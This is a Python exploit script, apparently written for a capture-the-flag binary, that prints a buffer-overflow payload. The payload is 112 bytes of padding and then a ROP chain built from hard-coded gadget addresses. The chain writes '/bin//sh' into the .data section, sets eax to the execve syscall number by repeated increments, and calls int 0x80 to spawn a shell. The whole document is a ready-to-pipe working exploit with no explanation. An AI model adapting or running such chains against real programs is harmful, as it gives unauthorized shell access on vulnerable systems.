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import sys | |
def p32(integer): | |
return integer.to_bytes(4, byteorder='little').decode('latin-1') | |
# Padding goes here | |
p = 'a'*112 | |
p += p32( 0x0806dddb) # pop edx ; ret | |
p += p32( 0x080da060) # @ .data | |
p += p32( 0x08055d64) # pop eax ; pop edx ; pop ebx ; ret | |
p += '/bin' | |
p += p32( 0x080da060) # padding without overwrite edx | |
p += p32( 0x41414141) # padding | |
p += p32( 0x0805688a) # mov dword ptr [edx], eax ; ret | |
p += p32( 0x0806dddb) # pop edx ; ret | |
p += p32( 0x080da064) # @ .data + 4 | |
p += p32( 0x08055d64) # pop eax ; pop edx ; pop ebx ; ret | |
p += '//sh' | |
p += p32( 0x080da064) # padding without overwrite edx | |
p += p32( 0x41414141) # padding | |
p += p32( 0x0805688a) # mov dword ptr [edx], eax ; ret | |
p += p32( 0x0806dddb) # pop edx ; ret | |
p += p32( 0x080da068) # @ .data + 8 | |
p += p32( 0x08055e50) # xor eax, eax ; ret | |
p += p32( 0x0805688a) # mov dword ptr [edx], eax ; ret | |
p += p32( 0x080481c6) # pop ebx ; ret | |
p += p32( 0x080da060) # @ .data | |
p += p32( 0x0806de02) # pop ecx ; pop ebx ; ret | |
p += p32( 0x080da068) # @ .data + 8 | |
p += p32( 0x080da060) # padding without overwrite ebx | |
p += p32( 0x0806dddb) # pop edx ; ret | |
p += p32( 0x080da068) # @ .data + 8 | |
p += p32( 0x08055e50) # xor eax, eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0807b23a) # inc eax ; ret | |
p += p32( 0x0804942a) # int 0x80 | |
def exp(): | |
sys.stdout.buffer.write(p.encode('latin-1')) | |
if __name__ == '__main__': | |
exp() |
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